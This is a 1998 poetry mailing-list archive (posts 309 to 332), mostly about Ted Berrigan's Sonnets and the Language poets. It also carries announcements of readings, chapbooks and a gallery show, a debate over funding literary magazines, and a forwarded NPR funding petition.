i wish there was some official issue of ted on tape -- there is a complete raeing ofthe sonnets at langton street & tons of stuff at the po project. what still comes thru in the poems is the intense devotion to "poetry" not craft or poetics. like a rock musician playing an out of the way gig -- he did one of my poorly paying gigs in jersey, as it gave him a chance to test out new material he would be reading in nyc the next week w/ old pal padgett.

also some more attention must be paid to great writers like mauren ownen, bob rosenthal, john godfrey, yuki hartman, tony towle, jim brodey, bill berkson, ted greenwald and others of that era

and where is regina beck? --last heard: a lubavitch chasid

joel lewis

↑ Index

309. Karen and Trevor
Re: Magazine Concepts Continued
Fri 6 Mar 1998

SSSCHAEFER wrote:

> *Also, I think people who want to be in magazines should also pay for them. Think of it as union dues. One cannot join a community by sitting alone in a room.*
>
> *Standard*

Thank you for saying this! I have had the opportunity this year to be editor-in-chief for Fourteen Hills: The SFSU Review, a literary magazine funded by San Francisco State University. I would like to acknowledge the funding openly: without it the magazine would be dead. But we get about 500 submissions an issue. If every submitter sent $5 for a sample copy, the magazine would get $2500--almost the cost of printing--easily ensuring the survival. (And they would also understand the caliber of work we publish.) Now of course I understand that writers cannot afford to send $5 with every submission--but I have certainly become more aware of the plight of magazines and I'm left asking:

why do writers want magazines to publish their work (support them) if they aren't willing to support the magazine?

Or maybe what you meant that the writers published in the magazine should pay...self-promotion...publish themselves...as an editor I don't consider work with a check attached any more or less than one without, and I wouldn't want any other magazine to do the same with me.

Ready for the fire,
Karen McKevitt

↑ Index

310. Louis Cabri
hole chapbooks
Fri 6 Mar 1998

Awhile ago Tom Beckett mentioned Alan Davies's chapbook from hole books, and I think he wondered whether it was still available. There are five copies of Alan's chapbook available. Each one has been hand-made; cover is from a linocut.

Here's the list of available chapbooks from hole:

Alan Davies, Sei Shonagon $5
Clint Burnham, Pandemonium $5
Deanna Ferguson, ddilemma $5

You can email Rob Manery at [redacted] if interested.

Forthcoming this summer, chapbooks from:

Jackson Mac Low
Jeff Derksen

To reserve your copy, please email me.

All best,
l

PS Of course we predated the band.

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311. Mark Roberts
(Fwd) AWOL: New Books From Five Island Press
Fri 6 Mar 1998

------- Forwarded Message Follows -------
Date: Fri, 6 Mar 1998 18:01:59 +1100
To: [redacted]
From: [redacted] (Australian Writing On Line)
Subject: AWOL: New Books From Five Island Press

New titles from Five Island Press availabe through the AWOl Virtual Bookshop. To order complete the order form at the end of this email.

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NITTY GRITTY
ISBN 0 86418 457 3
Loosely assembled under the days of the week this book chronicles a universal journey towards a hint of weekend peace. It's a vivid, inclusive dance celebrating the lives of a range of characters from school kids to parents, young graduates to carnival workers.
RRP $12.95

John Millett
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ISBN 1 875604 54 4
The last collection of poetry from the author of the award winning View From the Turret.
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-Thomas Shapcott
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Childhood, migration, parenting, aging and loss: Clutterbucks embraces these big, silent issues with openness and honesty. Her slowly gathered

work also reflects deep religious faith and is shot through with moments of simple beauty. - Peter Boyle
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Coral Hull
Broken land: 5 Days in Bre 1995
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Country towns - those least known places in our country - have their life and lore mapped for them in Coral Hull's Bre. It is a desolation filled with voices of patent authenticity, with generations of jokes and put downs, epiphanies, hatred, stars, cattle and secret knowledge. Coral is passionately and restlessly at home here. She has never written better. - Judith Rodriguez.
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Marcella Polain
Dumbstruck
ISBN 1 875604 52 9
Marcella Polain's first collection is one that matters. it is informed by a deeply compassionate feminism, a marvelously dynamic imagination, a courage to move beyond ready-made ideological mappings to a sheer verbal inventiveness which, for me, makes practically every poem delivery a shiver of utter recognition. - Marion Campbell

Ludwika Amber
Our Territory
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Australian poetry needs work of this stature, from a poet who sets about defining traces of Eden which remain in the world, by naming them with such loving skill..... - Bruce Dawe
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Fax 61 2 93517711

** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** Albert Einstein: "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former. ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** **

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312. George Bowering
Re: blah blah blah etc...
Fri 6 Mar 1998

I think I hear people griping that Ted Berrigan is not on the silly-bus of university English courses.

Dont sweat it.

You dont very often learn about what's been happening on course lists. You do what we all do--read what the profs got us to read, and then spend MORE time reading the good stuff. People who want to know what's happened will read Berrigan, and Hollo, and Padgett. Padgett is a terrific poet, and if I were to say that someone was the best in something i would maybe nominate him as the best poet in the USA, but I dont do such things. Suffice it to say that Ron Padgett is the David McFadden of the USA.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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313. R. Gancie
Mark Wallace in FlushPoint
Fri 6 Mar 1998

Wallace's piece, Definitions in Process, etc. etc.in FlushPoint magazine is much ado about nothing; a transparent attempt to get some names out there. He sets up Language poetry as a straw dog and then instead of pouring the gasoline and lighting the match he snuggles up to it. One is left with the distinct knowledge that there is no unread pile of hard disks and no post-pepsi generation of scribblers that can be called Post-Language. Besides what a weak branch to graft onto. Where do we go from here but toward the light? "[P]ostlanguage poetry as a distinct moment in the history of poetry."?! Give me a break. The Language poets put the critical cart before the imaginative horse. Mark wants to go them one better. Horsemeat anyone?

As regards my comment in Moyer's piece concerning Messerli/Perloff interview in Aerial: I was demonstrating that Doug readily acquiesced to a return to the nostalgic and narrative impulse of his poem. He seemed to love the psychological moment of creation (and by extension himself) more than the langpo formula. I simply noted that this rush to solpisism was difficult to distinguish from the example from Robert Hass I sighted. In this instance it revealed to this reader that Langpo might be simply one step from the confessional and a contrived step at that. Does the silly honesty of a Hass drive us to pedantic excess and denial? And Furthermore re Poem in Regress---anybody who objects to Herman Kahn, (e.g. On Thermonuclear War, Hudson Institute, RAND Corp.), being profiled in Hell doesn't know his/her Herman Kahn.-Carlo Parcelli

↑ Index

314. **rsillima**
Ted vs. Ted-ism
Fri 6 Mar 1998

To Henry Gould's question below,

One reason why I think there's been so little critical discussion to date of
>Ted Berrigan is that he was such a strong personality and would have so
>obviously disapproved of such, that people who actually knew the man feel

Didn't the Language Poets disapprove of him? That might be another reason.
>
I think that quite the opposite is the case. When Ted came to the Bay Area, he would sometimes stay with Alan Bernheimer or I believe Kit Robinson. Tom Mandel & I had Ted read at our series at the Grand Piano -- with George Stanley. It drew 110 people as I recall (I'm always counting audiences), divided almost equally between those whom had never heard of Ted and those whom had never heard of George.

Actually, an event (or interlinkage of events) related to that evening may suggest what filters down to someone like Henry, perceptive, well-read, but at a distance at least from the SF scene of the 70s, as a sense of "disapproval" or whatever.

After the reading at the Piano, there were not one but two parties, one for George in from BC held nearby on the other side of the Panhandle, and a second one for Ted which, as I remember, was somewhere South of Market (a few miles away). As co-host I spent some time at each. At the one for Ted's several of his young ephebes, particularly of the bent then known as Actualists, were telling him how great his reading was (both were fabulous that night) by way of telling him how much better he was than George. That sort of contestatory tone

was constant with those guys. Nolan, Gray, Kratz, Nisbet were just a few of the folks standing around.

But it was Ted who shut that nonsense down instantly. "George Stanley's a great poet. Didn't you hear that reading!" he responded. None of them replied although I've always thought that the correct answer to that must have been, no, they hadn't. Listening was never what they were about.

I've never figured out where that disjunction between those generations came from, why Ted would listen and hear and these other folks wouldn't and somehow presumed (wrongly, as it proved here) that he had given them permission for that behavior.

I think that somewhere disapproval for that behavior by those other guys got (gets?) translated into some sense that Ted is still being blamed, wrongly, for it. But actually all the so-called langpos I know always were fond and close readers of Ted Berrigan. And still are.

Ron Silliman

↑ Index

315. Thomas Bell
Re: "I take the present" M.P.Follett
Fri 6 Mar 1998

May be way of track but came across someone who's history has parallels with Whalen's. By chance I came across M. P. Follett's _Creative Experience_ He seems to have been a popular social critic early in the century. I have never seen his name and haven't found any lines of thought leading to him or coming from him. He appears to be one of those byways of thought that are in danger of disappearing completely from print, cultural ruts, and soon even libraries. We have a fairly well-read group here. Anyone ever heard of him? The quote below is curiously prescient of current computer/chaos theory discourse. tom bell

"You can tear it [the unity of experience] to pieces if ypu will and find subject and object, stimulus and response. or - you can refuse to: you can claim the right to see it as a rational interplay of forces, as the functioning of a self-creating coherence. Consciousness is the living interplay of a self-generating activity."

↑ Index

316. **Deborah Thomas**
(no subject)
Fri 6 Mar 1998

SEGUE @ HERE: FEBRUARY, MARCH, APRIL, & MAY READINGS

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Coordinators for this series are Dan Machlin, Nick Piombino, Andrew Levy, Melanie Neilson, and Deirdre Kovac. Continuing support for this series is provided by the Segue Foundation. Funding is made possible by support from the Literature Program of the New York Stare Council on the Arts. Help support HERE--come early and lunch stay late for drinks!

Segue @ Here: February & March Readings

FEB 7: RACHEL BLAU DUPLESSIS, JEN HOFER Rachel Blau DuPlessis has written criticism [The Pink Guitar: Writing as Feminist Practice; Writing Beyond the Ending: Narrative Strategies of 20th Century Women Writers; H.D.: The Career of That Struggle] and poetry [Tahuiet Rosa; Drafts 3-14; and Drafts 15-XXX; The Fold]. She also edited The Selected Letters of George Oppen. Jen Hofer is a poet and translator from the San Francisco Bay Area. She is currently working on an anthology of contemporary avant-garde poetry by Mexican women. Her work can be found in recent or forthcoming issues of Arshile, Explosive, Mandorla, Mirage #4/Period(ical), Proliferation, and Torque.

FEB 14: LESLIE SCALAPINO, YUNTE HUANG Leslie Scalapino is the author of 12 books of poetry, fiction, essays, and plays, including Way (North Point Press), which received numerous awards. Her recent hooks include Defoe (Sun & Moon) and The Front Matter, Dead Souls (Wesleyan). Talisman House has recently released a selected works, Green & Black. Yunte Huang was born in China and is currently a doctoral candidate at The Poetics Program at SUNY Buffalo. His poetry has appeared in End-of-Century, Prairie Schooner, and Tinfish. He is the Chinese translator of Ezra Pound's Pisan Cantos and co-translator of Selected Language Poems, and his Shi: A Radical Reading of Chinese Poetry was just published by Roof Books.

FEB 21: MEl-MEl BERSSENBRUGGE, MIKE KELLEHER Mei-mei Berssenbrugge is the author of The Heat Bird (Burning Deck) and Random Possession (Ishmael Reed Books), both American Book Award recipients, as well as many other titles. She is also the author of several collaborations with artists, Hiddenness (Whitney Museum) and Sphericity (Kelsey Street), both with Richard Tuttle, and the just released Endocrinology (Kelsey Street) with Kiki Smith. Mike

Kelleher has worked as a Catholic missionary in Ecuador, NYC high school teacher, and archivist for The Segue Foundation. He is Managing Director of the NYSCA Independent Publishers Initiative and a Curator of Readings and Residencies at the Just Buffalo Literary Center. He is currently working towards his masters in the Poetics Program at SUNY Buffalo.

FEB 25: ANSELM HOLLO, GARRETT KALLEBERG A native of Helsinki, Finland, Anselrn Hollo has lived in the U.S. since 1967, teaching poetics and translation at the Naropa Institute and many other colleges and universities. He is the author of 35 books and chapbooks of poetry, most recently, Near Miss Haiku and West is Left on the Map. He has translated Klee, Brecht, and Genet, among others, and has received an NEA fellowship. Garrett Kalleberg's poems have appeared in Sulphur, First Intensity, American Letters & Commentary, and elsewhere. His Limbic Odes was published by Heart Hammer Books in 1997. He is editor of a new journal, The Transcendental Fiend, premiering in Feb1998.

MARCH 7: BETH JOSELOW, SERGE GAVRONSKY Beth Joselow teaches at the Corcoran School of Art, Washington DC., and is the author of 5 books of poetry. Serge Gavronsky is the author of L'Obscur d'ici, a book of poems to be published in Paris by Phillipe Millereau. He is included in the forthcoming anthology A Poem A Day (Sun and Moon).

MARCH 14: CORINNE ROBINS, FIONA TEMPLETON Corinne Robins, art critic and poet, is the author of The Pluralist Era (Harper Collins). She has published two books of poems from Pratt Press, Art In The Seventh Power and Facing It. Fiona Templeton, internationally renowned performance artist and poet, wrote Cells of Release (Roof) onsite at Eastern State Penitentiary, Philadelphia, April-May, 1995.

MARCH 21: DON BYRD, MADELINE GINS Don Byrd is the author of five books, including The Great Dime Store Centennial and The Poetics of the Common Knowledge. He teaches at SUNY (Albany). Madeline Gins--probably not a Martian. Her latest books are Helen Keller or Arakawa (Burning Books) and the catalogue of her collaboration with Arakawa, Reversible Destiny (Abrams), exhibited at the Guggenheim Museum June-August 1997.

MARCH 25: CHRIS REINER, JACKSON MAC LOW Chris Reiner edits Witz: A Journal of Contemporary Poetics. He is author of A Coward's Libretto (Texture Press) and Ogling Anchor, forthcoming from Avec Books. Jackson Mac Low's 75th birthday festschrift is the first issue of a new journal, Crayon. Sun and Moon published his Barnesbook in 1996.

APRIL 4: ANSELM BERRIGAN, TONYA FOSTER Anselm Berrigan is the author of two chapbooks: On the Premises (Gas Editions) and They Beat Me Over The Head With A Sock (Edge Books). He lives in Brooklyn and teaches English at

Brooklyn College. Tonya Foster is a poet who hails from New Orleans. She makes little wax male figures when she's at bars.

APRIL 11: ALAN DAVIES, DAVID CAMERON Alan Davies is the author of Active 24 Hours, Signage (essays), Name, Candor, Rave, as well as other volumes of poetry and criticism. David Cameron is at work an a complete false translation of Baudelaire's Les Fleurs du Mal, and he is editor of Cocodrilo.

APRIL 15: JULIE PATTON, CHRIS MANN Julie Patton is a visual artist, performer, and poet. Her publications include Teething on Type (Rodent Press), limited edition letter press books, and 2 CD's with her performance work are available from Knitting Factory and Audio Literature. According to Chris Mann, who hails from Melbourne, Australia, "Language is when you correct the grammar of your oppressor."

APRIL 25: ELIZABETH WALDNER, MELISSA RAGONA Elizabeth Waldner is the author two chapbooks, Memo (Lo)mento (Texture Press) and Bus Stop (Meow Press); Homing Devices is forthcoming from 0 Books. Melissa Ragona is currently writing a script for ITVS (Independent Television) and has a book of poetry forthcoming with REM Press--Cambridge, England.

MAY 2: BRUCE ANDREWS, DAN FARRELL Bruce Andrews's latest collection of poetry, Designated Heartbeat, is forthcoming from Sun & Moon. Also forthcoming is Aerial magazine's collection on his work. Dan Farrell is the author of Thimking of You and ape . He is a foundless member of KSW, a foundling editor of Boo magazine, and currently a member of Brooklyn, NY.

MAY 9: HEATHER FULLER, HEATHER RAMSDELL Heather Fuller is the author of perhaps this is a rescue fantasy (Edge Books, 1997). She is literary editor of The Washington Review and coordinator of the "In Your Ear, poetry performance series in D.C. Heather Ramsdell's first book of poetry, Lost Wax, is due out from University of Illinois Press in spring of 1998. She lives tin) writes in Brooklyn.

MAY 16: DEIRDRE KOVAC, ROD SMITH Deirdre Kovac is associate editor of Big Allis. Her poetry and criticism have appeared in Torque, Object, Denver Quarterly, and elsewhere. Rod Smith is the author of In Memory of My Theories, Protective Immediacy, and The Boy Poems. He edits Aerial and publishes Edge Books in Washington, D.C.

MAY 23: JEAN DAY, ANDREW LEVY Jean Day's latest book, The Literal World, is just out from Atelos. Her previous books of poetry include The I and the You, A Young Recruit, Flat Birds, and Linear C. She lives in Berkeley, California. Andrew Levy's books include Elephant Surveillance to Thought (Meow, 1998) and Continuous Discontinuous (Potes & Poets, 1997). "Andrew Levy is a Buddha" (Rod Smith).

MAY 30: No READING (SEE YOU IN THE FALL)

THE SEGUE FOUNDATION
303 East 8th Street
New York, NY 10009

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317. Douglas
Re: Susan Bee's Show
Fri 6 Mar 1998

Congratulations Susan!!!!

Charles Bernstein wrote:
>
> I am happy to announce a solo show by
>
> SUSAN BEE
>
> Post-Americana: New Paintings
>
> from March 10 to March 28
> Opening Reception on Saturday, March 14, 6-8pm
>
> A.I.R. Gallery
> 40 Wooster Street
> New York, NY 10013
> [redacted]
>
> Gallery Hours: Tuesday - Saturday 11am-6pm
>
> links to Susan's works include:
>
> http://www.airnyc.org/member/artist.cfm?id=41
>
> http://igor.lis.wisc.edu/english/bernstein/probgirl.html
>
> http://www.granarybooks.com/artists/bee/bee1.html
> (& keep clickiing on the images)

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318. David Zauhar
Re: Ted vs. Ted-ism
Fri 6 Mar 1998

On Fri, 6 Mar 1998 [redacted] wrote:

> *Actually, an event (or interlinkage of events) related to that evening may suggest what filters down to someone like Henry, perceptive, well-read, but at a distance at least from the SF scene of the 70s, as a sense of "disapproval" or whatever.*

Being at a distance from those events myself (I think I had a little league baseball game in Galesburg, Illinois, the night Berrigan & George Stanley read in SF), I can still put a finger on one source for the impression of disapproval. Specifically, I remember a line in Tom Clark's memoir about Berrigan in which he says something to the effect that "Ted was given a hard time by the language poets" during his last (or one of his last swings through San Francisco). Not bringing this up so we can debate Tom Clark's ethics again, nor to dispute Ron Silliman's account of events: merely to point out where I (for one) got the impression that some of the poets associated w/ L=A=N=G=U=A=G=E were not big fans of Berrigan.

Dave Zauhar

↑ Index

319. Maria Damon
Re: Susan Bee's Show
Fri 6 Mar 1998

---

you go girl

At 9:33 PM -0500 3/5/98, Charles Bernstein wrote:
>I am happy to announce a solo show by
>
>SUSAN BEE
>
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>
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>
>links to Susan's works include:
>
>http://www.airnyc.org/member/artist.cfm?id=41
>
>http://igor.lis.wisc.edu/english/bernstein/probgirl.html
>
>http://www.granarybooks.com/artists/bee/bee1.html
>(& keep clickiing on the images)

↑ Index

320. **Maria Damon**

Re: Theresa Hak Kyung Cha 'n Berrigan 'n Consc. Objectors

Fri 6 Mar 1998

---

hi alan, uc berkeley's art museum has the Cha archives, it might be worth a trip out there to research it and set up viewing sessions etc. i've never seen any of her video stuff except in stills myself; there're a coupla mentions and a photo in Lucy Lippard's book Mixed Blessings. i teach cha in that course; some students adore it; some "can't follow the story." do check out walter lew's exquisite Excerpts from Dikte for Dictee (or something like that) a "critical collage" responding to cha's book.

At 8:47 PM -0500 3/5/98, [redacted] wrote:
>Does anyone know where one (me) can get hold of any of Cha's work in
>film / video? I'm "doing" *Dictee* in my (borrowing Maria's great term
>for now) "Weird Books by Women" course, but never have seen any of her
>visual work except in reproduced stills or the visual / text piece in
>*Premonitions*. I'd also be interested to hear--b/c or on the list,
>either way--whether there was any interaction between Cha and Bay Area
>langpo's while she was living out there. Ron, or anyone?
>
>In my role as resident reference-nerd: a bit of recent academic
>attention to Berrigan can be found in Libbie Rifkin's essay "Worrying
>about Making It': Ted Berrigan's Social Poetics," Contemporary
>Literature 38.4 (winter 1997): 640-672. Part of her Cornell diss., which
>also has some real good stuff on Olson and Creeley.
>
>Joel Kuszai--backchannel me and I might be able to give you a lead re
>the conscientious objectors movement (in WWII, anyway, and Lowell,
>Everson, and Stafford's relation to it).

>
>Ace conference down home here in Louavull this past weekend: much
>fruitful provocation stirred up by Cary Nelson, Eavan Boland somewhere
>between serious historical engagement and marketable nostalgia depending
>on whose p-o-v you listen to, Harryette Mullen serving up a spectacular
>run through the whole of *Muse and Drudge*, non-stop. Some of you were
>here; the rest of you should have been. Well, next year in Jerusalem.
>
>Back to lurkerdom,
>
>Alan

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321. Henry Gould
Re: Ted vs. Ted-ism
Fri 6 Mar 1998

On Fri, 6 Mar 1998 09:41:08 -0600 David Zauhar said:
>
>Being at a distance from those events myself (I think I had a little
>league baseball game in Galesburg, Illinois, the night Berrigan & George
>Stanley read in SF), I can still put a finger on one source for the
>impression of disapproval. Specifically, I remember a line in Tom Clark's
>memoir about Berrigan in which he says something to the effect that "Ted
>was given a hard time by the language poets" during his last (or one of
>his last swings through San Francisco). Not bringing this up so we can
>debate Tom Clark's ethics again, nor to dispute Ron Silliman's account of
>events: merely to point out where I (for one) got the impression that some
>of the poets associated w/ L=A=N=G=U=A=G=E were not big fans of Berri-
gan.

Here's the full extent of Tom Clark's remarks on this issue in the memoir Dave mentions [LATE RETURNS]: "The final year of his life, though, I was in contact with him only by mail and telephone. I heard from friends about a visit of his to San Francisco, where he had been given a hard time by some language-poets."

That's it - not much to go on there. Clark is probably referring to Berrigan's residency in 1981 at 80 Langton St for a few days. This residency garners a couple mentions in Anne Waldman's memoir-anthology NICE TO SEE YOU. There Stephen Rodefer has this in his entry: "The year before last, at a Langton St. residency in SF, how he groused or pricked the vauntingly guarded crowd ("80 Language Street" as Michael Palmer was calling it)." Renny Pritikin's piece

in the anthology gives his take on the residency and quotes Berrigan's long statement before his reading, beginning with:

"...at 80 Langton Street I stand in the dock in judgement, condemned, and also to become informed..."

Pritikin attempts to analyze the situation in sort of a detached, "guarded" way, implying that Berrigan was doing some ego-poet grandstanding but not exactly criticizing him for that. He's very reserved, it seems to me, in this little memoir - understandably considering the context (a memorial volume).

These are my sources for the idea that language poets "disapproved" of Berrigan. Along with Dave Zauhar I agree this is a long way from the action; decades, centuries away from the rivalry or whatever - the baiting, the criticizing, the suspicion, the whatever - that went on in those days between various poetry clubs on the coasts. If it went on, even. If there were clubs. It doesn't matter. Berrigan may have been baiting the language poets whom he saw as a threat - unfairly. Or he may actually have been given a chilly, demanding, critical reception. I sure don't know. - Henry Gould

↑ Index

322. Rosemary Ceravolo

Re: npr

Fri 6 Mar 1998

On Wed, 4 Mar 1998, laura and jeff wrote:

> please sign.
> jeff.
>
>
> NPR Funding
> This is being forwarded to several people at once to add their names
> to the petition. NPR (National Public Radio) and the arts are facing
> major cutbacks in funding.
>
> It won't matter if many people receive the same list as the names are
> being managed. This is for anyone who thinks NPR/PBS is a worthwhile
> expenditure of $1.12/year of their taxes. A petition follows. If
> you sign, please forward on to others (not back to me). If not,
> please don't kill it-send it to the email address listed here:
> [redacted] PBS.
>
> In spite of the efforts of each station to
> reduce spending costs and streamline their services, some government

> officials believe that the funding currently going to these programs
> is too large a portion of funding for something which is seen as not
> worthwhile.
> Currently,taxes from the general public for PBS equal $1.12 per
> person per year, and the National Endowment for the Arts equals $0.64
> a year.
> A January 1995 CNN/USA Today/Gallup poll indicated that 76% of
> Americans wish to keep funding for PBS. This percentage of people
> polled is surpassed only by national defense and law enforcement as
> the programs that are the most valuable for federal funding. Each
> year the Senate and House Appropriations committees each have 13
> subcommittees with jurisdiction over many programs and agencies. =
>
> Each subcommittee passes its own appropriation bill. The goal each
> year is to have each bill signed by the beginning of the fiscal year,
> which is October 1.
> The only way that our representatives can be aware of the base of
> support for PBS and funding for these types of programs is by making
> our voices heard.
> Please add your name to this list and forward it to friends if you
> believe in what we stand for. This list will be forwarded to the
> President of the United States, the Vice President of the United
> States, and Representative Newt Gingrich, who is the instigator of the
> action
> to cut funding to these worthwhile programs.
> *If you happen to be the 150th, 200th, 250th, etc. signer of this
> petition, please forward a copy to:
> [redacted].
> If that address is inoperative, please send it to:
> [redacted]. This way we can keep track of the
> lists and organize them. Forward this to everyone you know, and help
> us to keep these programs alive.
> Thank you.
> ---
> NOTE: It is preferable that you SELECT the entirety of this letter
> and
> then COPY it into a new outgoing message rather than simply
> forwarding it.
> 515) Janet Wygal, Hoboken, NJ
> 516) Gene Holder, Hoboken, NJ
> 517) Cindy E. Brolsma, Brooklyn, NY
> 518) Sheryl Farber, Los Angeles, CA

> 519) P. David Ebersole, Silver Lake, CA
> 520) Todd Hughes, Silver Lake, CA
> 521) Betsy Hamlin, Silver Lake, CA
> 522) Rachel Powell, Santa Monica, CA
> 523) Jill & Michael Vercos, Venice, CA
> 524) Nikolaus Scharpf, Eatonton, GA
> 525) Jan Walleczek, CA
> 526) Joanne Hall, Kalamazoo, MI
> 527) Mary Williams, Kalamazoo, MI
> 518) Mark Nepo, Albany, NY
> 519) Susan McHenry, Albany, NY
> 520) Lillien Waller, Bronx, NY
> 521) Tracye Matthews, Chicago, IL
> 522) Martha Kathleen Zygmun, Chicago, IL
> 523) Catherine Tolley, CHicago, IL
> 524) Julie Pokorny, Chicago, IL
> 525) Daniel Kuruna, Chicago IL
> 526) Christine Kuruna, Selinsgrove PA
> 527)Jesse Fletcher, Lewisburg PA
> 528) Kasey Bohaboy, Palo Alto, CA
> 529) Amy Sabbadini, Santa Barbara, CA
> 530) Roger Sabbadini, San Diego, CA
> 531) Robert Engler, San Diego, CA
> 532) Roberta Gottlieb, San Diego, CA
> 533) Grant Meisenholder, San Diego, CA
> 534) Jennifer Post, Seattle, WA
> 535) Raymond Post, Seattle, WA
> 536) Ginnah Saunders
> 537) Chris Garman, San Diego, CA
> 538) Padmini Srikantiah, San Diego, CA
> 539) Jayashri Srikantiah, San Francisco, CA
> 540) Duane Valz, Oakland, CA
> 541) David Mrozek Rauch, San Francisco, CA
> 542) Betsy Fagin, San Francisco, CA
> 544) John Montesa, Southborough, MA
> 545) Lyn Chamberlin, Lincoln,MA
> 546) Mark Edwards, Lexington, MA
> 547) Dave Vanable, Honeoye Falls, NY
> 548) Susan Scheible, Pittsford, NY
> 549) Kim Krzyzewski, State College, PA
> 550) Beverly Balger, State College, PA
> 551) Deborah Leopold, Riverdale, MD

> 552) Herbert W. Ettel, Washington, DC
> 553) Bernadette H. Odyniec, Washington, DC
>
> Beverly Balger
> Registrar
> Palmer Museum of Art
> The Pennsylvania State University
> University Park, PA 16802
> [redacted]
>
> 554) Cori Parrish, Arlington, VA
> 555) Joshua Cohen, Amherst, MA
> 556) Teresa Sparks, Morgantown, WV
> 557) jeffrey daniel miller, Wooster, OH and Parkersburg, WV
558) Rosemary Ceravolo, Bloomfield, NJ
> ---
>
> There are no hierarchies, no infinite, no such many as mass,
> there are only
> eyes in all heads
> to be looked out of
>
> -charles olson, from "letter 6" (of the maximus poems)
>

↑ Index

323. **CharSSmith**

Re: NPR piece on "A Secret Location on the Lower East Side"

Fri 6 Mar 1998

---

thanks for turning me on to the NPR RealAudio archives, Rachel.

I had heard about, but missed, an interview with Diane DiPrima on Feb 18. They even let her read two poems!

http://www.npr.org/programs/atc/archives/1998/980218.atc.html

I'm enjoying the Berrigan thread very much. Especially the attentive readings.

& am very very saddened by the news of Ron Johnson's death. Ark on!

all best,
Charles

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324. **ScoutEW**
Re: blah blah blah etc...
Fri 6 Mar 1998

---

yeah i agree, but it seems such a waste that such crap is sold off in graduate classes and "the Sonnets" sits out of print or somewhere in some person's attic. I personally find alot in the "sonnets" that is original, although much criticism of Berrigan's work centers around some idea that he is a "thief"/ how ingenius that he borrows lines from other poets etc./ it is so much more than that- Ted was proving that it is already there already, the words etc, and it was his job and pleasure to put them together into "Sonnets" in the way he felt fit- The repeating of lines"Dear Chris" and "it is 5:15" etc makes a full reading of the Sonnets interesting, instead of looking at it as a reference point to move out and look for the lines he"lifted" from ashbery , i feel it is self- contained, you do not have to know what lines are Padgetts, or Berrigan's or Auden's etc, it just works when you read it aloud. It's funny, I made a request earlier to have someone email me an address to find a copy of the Sonnets I could own (my copy is out from the university library) someone gave me an address on this list and I spoke to the person selling the books, "sorry the sonnets has been sold!" damn! well, she also asked me why this week alone she got 4 requests for the sonnets, must be people on this board trying to snake that copy well its gone! (poets are like crows)I swear anyways if anyone else would like to sell me a copy I would love to buy it please let me know- Oyeah , I read Libbie Rifkin's article in Contemporary Lit on Berrigan. Its good but I don't think she knows the deal behind who "chris" is she should read Ron Padgetts memoir on TEd. about whether or not the "languagepoets" like Berrigan, yeah who cares, I am sure no one group(although i doubt poets associated with "languagepoetry" even want to be part of any group) can speak together, i am sure poets of all traditions can appreciate Berrigan and how he lived the 24 hr life of the poet later gators erik

↑ Index

325. **Matthew Stadler**
Re: Theresa Hak Kyung Cha 'n Berrigan 'n Consc. Objectors
Fri 6 Mar 1998

The University Art Museum and Pacific Film Archive in Berkeley has all of Theresa Cha's videos.

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326. **TBeck131**
Berrigan
Fri 6 Mar 1998

Berrigan is a pivotal figure in a number of ways. One of the threads running through 1st generation New York School poetries is a veering off from the "confessionalism" so prevalent at the time. Interesting, then, how TB negotiated quotidian realities in his work. Interesting also what an important precedent __The Sonnets__ constitutes for L=poetry. I would imagine that, on some level, Ron Silliman's long poem __Ketjak__is in debt to the fractured narratives and gorgeous repetition based musics of __The Sonnets__.

At its best, Berrigan's work stands up there with anyone's. At its worst, it tends toward some of the same self-indulgences Bukowski practiced--a kind of formulaic sensationalism that can be fun to read but analogous to the "empty calories" of _____(Fill in the blank with your favorite junk commestible but be aware of the severe penalties which may obtain under current food libel laws.).

Tom Beckett

↑ Index

327. **k. lederer**
Berrigan/Sonnets
Fri 6 Mar 1998

Dear List

The new edition of the Sonnets that Steve Clay referred to should be in bookstores sometime in March of 2000. The book will be annotated (by Alice Notley), & will also contain six sonnets that haven't appeared in any of the first three editions -- poems Ted decided/instructed to include in any further reprintings after the United Artists edition.

Anselm Berrigan

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328. **Steven Clay**
Spicer/Duncan/Blaser Circle
Fri 6 Mar 1998

Granary Books has prepared a list of books for sale of nearly 300 items containing rare and obscure manuscripts, books, posters, prints, letters etc. by Jack Spicer, Robert Duncan, Robin Blaser, Jess, George Stanley, Harold Dull, Stan Persky among others-and such magazines and presses as "J" "Open Space" "White Rabbit" to name a few. The list is available by email, if interested

contact me via back channel and I'll send you a copy. Steve Clay [redacted] Granary Books

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329. **Jack Foley**
Who Hired Bill Moyers to Destroy American Poetry?
Fri 6 Mar 1998

Who Hired Bill Moyers to Destroy American Poetry?
asks carlo PARCELLI in the new

FLASHPOINT
(http://webdelsol.com/FLASHPOINT/

"Along the frontier where the arts & politics clash ..."

and joe BRENNAN wonders: "Why Is Parcelli So Angry?"

↑ Index

330. **Jacques Debrot**
Re: Ted vs. Ted-ism
Fri 6 Mar 1998

Then again, this is how Barrett Watten remembers it in "After Ted" (_Aerial 8): "Berrigan's reading of _The Sonnets_ at Langton Street contained some of the greatest verbal moments in American language." And, in fact, wasn't it Watten himself who curated that event?

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331. **Gary Sullivan**
"The world has my flesh on"
Fri 6 Mar 1998

Hi, Erik:

Sorry, I should have back-channeled you the Sonnets ordering info. I'll keep my eyes peeled for another. "Some dim frieze," which opens the book, refers to something Berrigan saw on the Columbia University campus, so in return, Columbia will pick up the tab if you'd like a photocopy of that edition in the meantime. (Or, if any of the "crows" want one.) Just lemme know. I also have the poems from Arshille, if you want a photocopy of that.

Of course, it doesn't finally matter what lines are from where, so long as the poem works. But, it's also interesting, interesting to me anyway, to think of his thievery in the contexts of: (a) his class & the extent to which his aesthetic impulses might be thought of as class-based; and (b) what his prolific re-use of

others's lines (including his own) means in terms of how he experienced language: "The world has my flesh on," as Vincent Ferrini once wrote. I think this ties in very nicely with another sub-thread on this list: His openness to a relatively wide spectrum of poetries. That's a specific form of being, a particular way of moving through the world, & through the world of letters.

I'm going to see the woman who runs Pomander Books tonight & so I'll see if I can get the name of the crow who swept off with your _Sonnets_--then you or I can build an altar or whatever & Berrigan's ghost (which truly will never die) will go beat him or her up.

Have fun,

Gary Sullivan
[redacted]

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332. Gary A. Lenhart
Berrigan
Fri 6 Mar 1998

